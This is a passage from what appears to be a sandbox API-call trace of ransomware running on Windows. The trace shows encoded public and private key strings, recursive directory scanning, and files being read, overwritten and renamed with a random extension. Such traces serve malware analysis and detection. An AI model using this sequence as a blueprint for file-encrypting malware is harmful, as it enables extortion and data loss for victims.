CvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0127.605] GetCurrentThreadId () returned 0xa30 [0127.605] GetCurrentThreadId () returned 0xa30 [0127.605] GetCurrentThreadId () returned 0xa30 [0127.605] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0127.605] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2695c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0127.606] GetCurrentThreadId () returned 0xa30 [0127.606] GetCurrentThreadId () returned 0xa30 [0127.606] GetCurrentThreadId () returned 0xa30 [0127.606] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\xeOnABdo_Zx4RoO-\\rz5wZG.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\xeonabdo_zx4roo-\\rz5wzg.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0127.606] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0127.606] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0127.607] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x1188b [0127.607] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0127.607] ReadFile (in: hFile=0x1dc, lpBuffer=0x1f2e760, nNumberOfBytesToRead=0x1188b, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f2e760*, lpNumberOfBytesRead=0x18f108*=0x1188b, lpOverlapped=0x0) returned 1 [0127.610] CloseHandle (hObject=0x1dc) returned 1 [0127.611] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\xeOnABdo_Zx4RoO-\\rz5wZG.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\xeonabdo_zx4roo-\\rz5wzg.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0127.637] WriteFile (in: hFile=0x1dc, lpBuffer=0x1f40790*, nNumberOfBytesToWrite=0x1188b, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f40790*, lpNumberOfBytesWritten=0x18f114*=0x1188b, lpOverlapped=0x0) returned 1 [0127.641] CloseHandle (hObject=0x1dc) returned 1 [0127.642] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\xeOnABdo_Zx4RoO-\\rz5wZG.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\xeonabdo_zx4roo-\\rz5wzg.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\xeOnABdo_Zx4RoO-\\rz5wZG.png.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\xeonabdo_zx4roo-\\rz5wzg.png.zv7un")) returned 1 [0127.643] GetCurrentThreadId () returned 0xa30 [0127.643] GetCurrentThreadId () returned 0xa30 [0127.643] GetCurrentThreadId () returned 0xa30 [0127.643] GetCurrentThreadId () returned 0xa30 [0127.643] GetCurrentThreadId () returned 0xa30 [0127.643] GetCurrentThreadId () returned 0xa30 [0127.643] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e4cc80, ftCreationTime.dwHighDateTime=0x1d5dfa9, ftLastAccessTime.dwLowDateTime=0x441b0790, ftLastAccessTime.dwHighDateTime=0x1d5e4c5, ftLastWriteTime.dwLowDateTime=0x441b0790, ftLastWriteTime.dwHighDateTime=0x1d5e4c5, nFileSizeHigh=0x0, nFileSizeLow=0x42f, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="xxHQGFPyd0BOtwqaWoa8.ots", cAlternateFileName="XXHQGF~1.OTS")) returned 1 [0127.643] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0127.643] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0127.643] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e4cc80, ftCreationTime.dwHighDateTime=0x1d5dfa9, ftLastAccessTime.dwLowDateTime=0x441b0790, ftLastAccessTime.dwHighDateTime=0x1d5e4c5, ftLastWriteTime.dwLowDateTime=0x441b0790, ftLastWriteTime.dwHighDateTime=0x1d5e4c5, nFileSizeHigh=0x0, nFileSizeLow=0x42f, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="xxHQGFPyd0BOtwqaWoa8.ots", cAlternateFileName="XXHQGF~1.OTS")) returned 0 [0127.643] GetLastError () returned 0x12 [0127.643] FindClose (in: hFindFile=0x6aa0c0 | out: hFindFile=0x6aa0c0) returned 1 [0127.643] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\xeOnABdo_Zx4RoO-\\*.*", lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdaf520c0, ftCreationTime.dwHighDateTime=0x1d5e334, ftLastAccessTime.dwLowDateTime=0x60bb5d00, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x60bb5d00, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa0c0 [0127.644] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b8 | out: lpLocalFileTime=0x18f1b8) returned 1 [0127.644] FileTimeToDosDateTime (in: lpFileTime=0x18f1b8, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0127.644] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdaf520c0, ftCreationTime.dwHighDateTime=0x1d5e334, ftLastAccessTime.dwLowDateTime=0x60bb5d00, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x60bb5d00, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0127.644] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0127.644] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0127.644] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c1640d0, ftCreationTime.dwHighDateTime=0x1d5e1ff, ftLastAccessTime.dwLowDateTime=0xe6cdc0b0, ftLastAccessTime.dwHighDateTime=0x1d5e478, ftLastWriteTime.dwLowDateTime=0xe6cdc0b0, ftLastWriteTime.dwHighDateTime=0x1d5e478, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="-a4wrI", cAlternateFileName="")) returned 1 [0127.644] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0127.644] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0127.644] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\xeOnABdo_Zx4RoO-\\-a4wrI\\*.*", lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c1640d0, ftCreationTime.dwHighDateTime=0x1d5e1ff, ftLastAccessTime.dwLowDateTime=0xe6cdc0b0, ftLastAccessTime.dwHighDateTime=0x1d5e478, ftLastWriteTime.dwLowDateTime=0xe6cdc0b0, ftLastWriteTime.dwHighDateTime=0x1d5e478, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa100 [0127.645] FindNextFileW (in: hFindFile=0x6aa100, lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c1640d0, ftCreationTime.dwHighDateTime=0x1d5e1ff, ftLastAccessTime.dwLowDateTime=0xe6cdc0b0, ftLastAccessTime.dwHighDateTime=0x1d5e478, ftLastWriteTime.dwLowDateTime=0xe6cdc0b0, ftLastWriteTime.dwHighDateTime=0x1d5e478, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0127.645] FindNextFileW (in: hFindFile=0x6aa100, lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e3cba00, ftCreationTime.dwHighDateTime=0x1d5da4e, ftLastAccessTime.dwLowDateTime=0x74e36f60, ftLastAccessTime.dwHighDateTime=0x1d5e052, ftLastWriteTime.dwLowDateTime=0x74e36f60, ftLastWriteTime.dwHighDateTime=0x1d5e052, nFileSizeHigh=0x0, nFileSizeLow=0x35ed, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="CQFopTIqW0yv6qV8vaH.mp4", cAlternateFileName="CQFOPT~1.MP4")) returned 1 [0127.645] FileTimeToLocalFileTime (in: lpFileTime=0x18ef88, lpLocalFileTime=0x18eeec | out: lpLocalFileTime=0x18eeec) returned 1 [0127.645] FileTimeToDosDateTime (in: lpFileTime=0x18eeec, lpFatDate=0x18ef56, lpFatTime=0x18ef54 | out: lpFatDate=0x18ef56, lpFatTime=0x18ef54) returned 1 [0127.645] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\xeOnABdo_Zx4RoO-\\-a4wrI\\CQFopTIqW0yv6qV8vaH.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\xeonabdo_zx4roo-\\-a4wri\\cqfoptiqw0yv6qv8vah.mp4"), fInfoLevelId=0x0, lpFileInformation=0x18ee7c | out: lpFileInformation=0x18ee7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e3cba00, ftCreationTime.dwHighDateTime=0x1d5da4e, ftLastAccessTime.dwLowDateTime=0x74e36f60, ftLastAccessTime.dwHighDateTime=0x1d5e052, ftLastWriteTime.dwLowDateTime=0x74e36f60, ftLastWriteTime.dwHighDateTime=0x1d5e052, nFileSizeHigh=0x0, nFileSizeLow=0x35ed)) returned 1 [0127.645] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\xeOnABdo_Zx4RoO-\\-a4wrI\\CQFopTIqW0yv6qV8vaH.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\xeonabdo_zx4roo-\\-a4wri\\cqfoptiqw0yv6qv8vah.mp4")) returned 0x20 [0127.645] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\xeOnABdo_Zx4RoO-\\-a4wrI\\CQFopTIqW0yv6qV8vaH.mp4", dwFileAttributes=0x80) returned 1 [0127.647] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0127.647] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f1cc2c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 